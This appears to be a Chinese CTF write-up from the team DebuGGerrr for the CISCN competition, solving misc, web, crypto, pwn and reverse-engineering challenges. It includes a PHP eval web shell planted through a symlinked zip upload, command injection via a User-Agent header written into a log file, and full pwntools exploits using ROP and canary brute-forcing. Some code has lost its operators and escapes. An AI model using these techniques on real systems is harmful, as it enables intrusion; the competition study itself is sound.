summary: 时隔一年再战Ciscn,也算是有所收获吧。本年度中团队共完成题目12道,包含全部分类,个人因为大三考研的事情基本退回了端茶倒水杂项手的状态,不过队友到是有不少收获,在前两届没多少成绩的RE和逆向上同队的师弟也有所发挥
DebuGGerrr 战队WRITEUP
一、战队信息
战队名称: DebuGGerrr
战队排名:261
二、解题情况
TOC
三、解题过程
杂项:
签到卡:
随便输入得到hint,关注公众号,得到他的提示,输入 print(open('/flag').read())得到flag
国粹:
在最初的思路里是一位题目是一个形如E(x)=(ax b)(modm)的类仿射密码
后面试着要不把这些画出来看下,在写了几串之后看到了flag....然后因为分工,两个人写点坐标的格式不一样,最终Python代码如下.....
代码语言:python代码运行次数:0复制import matplotlib.pyplot as plt
import pandas as pd
#读入文件
file_path = "data.txt"
df = pd.read_table(file_path, header=None)
#定义 x y变量
x = []
y = []
#定义颜色变量
color = ['c', 'b', 'g', 'r', 'm', 'y', 'k', 'w']
xx = [1,1,1,1,2,2,2,2,2,2,2,3,3,3,3,3,3,3,3,3,3,3,4,4,4,4,4,4,4,4,4,4,4,4,4,4,5,5,5,5,5,5,5,5,5,5,5,5,6,6,6,6,6,6,6,6,6,6,6,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,8,8,8,8,8,8,8,8,8,8,8,8,8,9,9,9,9,9,9,10,10,12,12,12,12,13,13,13,13,13,13,13,13,13,13,13,13,13,13,14,14,14,14,14,14,14,14,15,15,15,15,15,15,15,16,16,16,16,16,16,16,16,17,17,17,17,17,17,17,17,18,18,18,18,18,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,20,20,22,22,22,22,22,22,22,22,22,22,22,22,23,23,23,23,23,23,23,23,23,23,23,23,23]
yy = [4,5,10,30,3,4,5,6,10,29,30,3,4,10,16,17,22,23,24,25,29,30,2,3,4,5,10,15,16,18,21,22,24,25,29,30,3,4,10,15,17,18,19,21,22,25,28,29,3,4,10,15,16,18,19,21,22,25,29,3,4,10,11,12,13,15,18,19,22,23,24,25,29,30,3,4,11,12,15,16,17,18,19,20,25,29,30,21,22,24,25,30,31,23,24,22,23,24,25,2,3,4,5,9,10,11,12,16,17,18,19,24,25,2,5,6,9,12,19,23,24,5,9,12,18,19,22,23,4,5,9,12,17,18,23,24,3,4,9,12,16,17,24,25,3,9,12,16,25,3,4,5,6,9,10,11,12,16,17,18,19,21,22,23,24,25,10,11,3,4,5,6,10,11,12,17,18,19,24,25,3,6,7,9,10,16,17,19,20,22,23,24,25]
#用for循环将文件中的值赋值给x,y
for i in range(len(df[0])):
x.append(int(df[0][i].split(',')[0]))
y.append(int(df[0][i].split(',')[1]))
for i in range(len(xx)):
x.append(xx[i])
y.append(yy[i])
#画图
plt.scatter(x, y, c=color[1], edgecolors='r')
plt.show()
flag{202305012359}
被加密的生产流量:
追踪流发现base编码
base32编码,解码得到flag
flag{c1f_fi1g_1000}
pyshell:
本题为python的shell终端,拼接读取flag的字符串后用eval()进行执行,即可获得flag
flag{2c9b76d6-8379-4dd8-a95a-a383420575f5}
web
unzip:
建立软连接实现,
参考博客:https://forum.butian.net/share/906
先建立软连接
代码语言:shell复制ln -s /var/www/html test
# 先建立软连接
zip --symlinks test.zip ./*
# 创建 test文件
mkdir test
vim cmd.php # cd 进去创建cmd.php
# 往里面写入一句话木马
<?php @eval($_POST['shell']);?>
#退回上级目录,压缩test文件夹
zip -r test1.zip ./*
#先上传test.zip 后上传test1.zip,然后直接蚁剑连上
http://eci-2ze4nvw7kl74qmeixz3h.cloudeci1.ichunqiu.com/cmd.php
找到flag即可
dumpit
对/flag下所有提供的参数进行测试,发现提供的第二个参数可以到日志
过滤了post和get,不能直接将木马写入参数中执行
这里采用echo重定向的方式,将待执行的命令写入到User-Agent中,并重定向到/app/log/a.php中
访问/log/a.php发现可以成功执行
最后在env环境变量中找到flag
flag{290a8dfa-4d33-4ae2-a781-ef17e464d0bc}
Crypto
Sign_in_passwd:
是一道Base64换表题目,使用CyberChef的Base64转码功能,可以自定义Base64表格,输入需要转码的字符串,即可得flag ,题目给的表中有部分经过url编码,解码后便可以正常实现
基于国密SM2算法的密钥密文分发:
非预期解,在登录获取id并且发送完公钥后,通过quantum获取服务器端密钥的密文后,search查看发现服务器端存在密钥的明文,即quantumStringServer,发送该明文进行check获取flag。
flag{fe362b36-56e5-4b6c-a5cc-12d3e755ce0}
可信度量:
非预期解,通过命令全局搜索flag字符串。
代码语言:python代码运行次数:0复制grep -ra "flag{" /
Pwn
烧烤摊儿:
首先,分析vip函数,发现无符号整数存在整数溢出,因此考虑输入-1000000使余额溢出到大于100000。
之后买下该店后通过栈溢出劫持程序执行流,因为本题禁止了execve的系统调用,因此考虑orw读取flag。只需要控制栈溢出后分别执行open,read,write三个函数。
完整exp:
代码语言:python代码运行次数:0复制from pwn import *
#io = process("./shaokao")
io = remote("")
name_addr = 0x4E60F0
open_addr = 0x457C90
read_addr = 0x457DC0
write_addr = 0x457E60
pop_rdi_ret = 0x40264f
pop_rsi_ret = 0x40a67e
pop_rdx_rbx = 0x4a404b
io.sendline('1')
io.sendline('1')
#integer overflow
io.sendline('-1000000')
io.sendline('4')
io.sendline('5')
#rop orw
payload = p64(pop_rdi_ret) p64(name_addr) p64(pop_rsi_ret) p64(0) p64(open_addr)
payload = p64(pop_rdi_ret) p64(3) p64(pop_rsi_ret) p64(name_addr) p64(pop_rdx_rbx) p64(0x200) p64(0) p64(read_addr)
payload = p64(pop_rdi_ret) p64(1) p64(pop_rsi_ret) p64(name_addr) p64(pop_rdx_rbx) p64(0x200) p64(0) p64(write_addr)
io.sendline(b'./flagx00x00' b'a' * (0x16 8) payload)
io.interactive()
funcanary:()
简单栈溢出,只不过在栈上放了canary,分析发现存在后门函数backdoor,同时main函数是while(1)循环,这就使得我们输入canary失败时仍然能回到main函数,因此可以通过爆破泄露出canary的内容(8位canary,爆破七次)。程序开启了pie,因此需要爆破后门函数的地址,发现后三位不变,爆破倒数第四位。
exp:
代码语言:python代码运行次数:0复制from pwn import *
io = process('./funcanary')
# io = remote('', '')
elf = ELF('./pwn123')
io.recvuntil(b'welcomen')
canary = b'x00'
for m in range(7):
for i in range(256):
payload = b'a'*0x68 canary p8(i)
io.send(payload)
msg = io.recvuntil(b'welcomen')
#输入了正确的canary,返回
if b'have fun' in msg:
canary = p8(i)
break
backdoor = 0x1229
for k in range(0x10):
addr = k * 16 2
payload = b'a' * 0x68 canary b'a' * 8 b'x31' p8(addr)
io.send(payload)
msg = io.recvline()
if b'flag{' in msg:
print(msg)
io.interactive()
re
babyRE:
下载文件之后发现是Snap的程序,找到他的官网https://snap.berkeley.edu/snap/snap.html#在线导入文件,发现有些变量和函数命名不规范,将其规范化,发现
此为初始化函数,相当于初始化数组,后发现
将输入的字符第一个与前一个进行^ 操作,第二个与第一个进行^ 以此类推.
编写脚本:
代码语言:python代码运行次数:0复制list = [10,13,6,28,74,3,1,3,7,85,0,4,75,20,92,92,8,28,25,81,83,7,28,76,88,9,0,29,73,0,86,4,87,87,82,84,85,4,85,87,30]
str1 = 'f'
for j in list:
for i in range(32, 127):
if i ^ ord(str1[-1]) == j:
str1 = str1 chr(i)
print(str1)
break
print(str1)
得到flag
flag{12307bbf-9e91-4e61-a900-dd26a6d0ea4c}